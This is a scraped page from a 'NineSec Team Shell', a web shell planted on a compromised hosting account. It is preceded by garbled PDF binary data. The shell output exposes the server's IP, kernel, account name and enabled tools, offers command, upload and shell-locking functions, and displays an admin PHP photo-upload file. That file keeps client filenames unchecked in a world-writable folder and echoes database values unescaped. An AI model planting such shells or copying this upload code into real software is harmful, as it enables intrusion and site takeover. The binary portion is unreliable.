%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  �a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q�f ^ u>� $k�( �H l�EW o W  %l d] 6 ] - L  > 9 t* y 4� b 5 Q\ \�v U  2c 3  c qM�= |  IT: S � |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " �3 }$jH q w bx B" < 5b }%�+ 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx�.) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f�d v*� ' i � G j * cB� zi  _  j z[ 7; 2 -  zZ  f V � z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3� l� ]u b-5 Fwm z zp)M ) jO q� u q  E K l 7  [[ y Xg e ~ , 9 � k; +ny  )s=9) � u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w� e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d, � 4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 217.21.91.109  /  Your IP : 216.73.216.190
Web Server : LiteSpeed
System : Linux in-mum-web830.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u903744608 ( 903744608)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u903744608/domains/designspoint.net/public_html/admin/photomanagement/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u903744608/domains/designspoint.net/public_html/admin/photomanagement/create_photo.php
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Add Production Images</title>
    <link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css">
</head>
<body>

<div class="container mt-5">
    <div class="row justify-content-center">
        <div class="col-md-8">
            <div class="card">
                <div class="card-header">
                    <h3 class="card-title">Add Production Images</h3>
                </div>
                <div class="card-body">
                    <?php
                    include('../connection.php');

                    if ($_SERVER["REQUEST_METHOD"] == "POST") {
                        if (isset($_POST["add_images"])) {
                            $category_id = mysqli_real_escape_string($conn, $_POST["category_id"]);
                            $uploadFolder = "uploads/";
                            if (!file_exists($uploadFolder)) {
                                mkdir($uploadFolder, 0777, true);
                            }
                            foreach ($_FILES["images"]["tmp_name"] as $key => $tmp_name) {
                                $uniqueFilename = uniqid() . "_" . $_FILES["images"]["name"][$key];
                                $filePath = $uploadFolder . $uniqueFilename;
                                move_uploaded_file($_FILES["images"]["tmp_name"][$key], $filePath);
                                $sql = "INSERT INTO photo_management (category_id, image) VALUES ('$category_id', '$filePath')";
                                $conn->query($sql);
                            }

                            header("Location: photo_management_index.php");
                            exit();
                        }
                    }
                    ?>
                    <form action="" method="post" enctype="multipart/form-data">
                        <div class="mb-3">
                            <label for="category_id" class="form-label">Category<span style="color: red;">*</span></label>
                            <select class="form-select" id="category_id" name="category_id" required>
                                <?php
                                $categories = $conn->query("SELECT id, title FROM production");

                                while ($category = $categories->fetch_assoc()) {
                                    echo "<option value='{$category['id']}'>{$category['title']}</option>";
                                }
                                ?>
                            </select>
                        </div>
                        <div class="mb-3">
                            <label for="images" class="form-label">Images<span style="color: red;">*</span></label>
                            <input type="file" class="form-control" id="images" name="images[]" multiple required>
                        </div>
                        <button type="submit" class="btn btn-primary" name="add_images">Add Images</button>
                        <button type="button" class="btn btn-danger" name='close' onclick="closeForm()" style="height:40px">Close</button>
                    </form>
                </div>
            </div>
        </div>
    </div>
</div>

<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"></script>
<script>
    function closeForm() {
        window.location.href = "photo_management_index.php";
    }
</script>
</body>
</html>

NineSec Team - 2022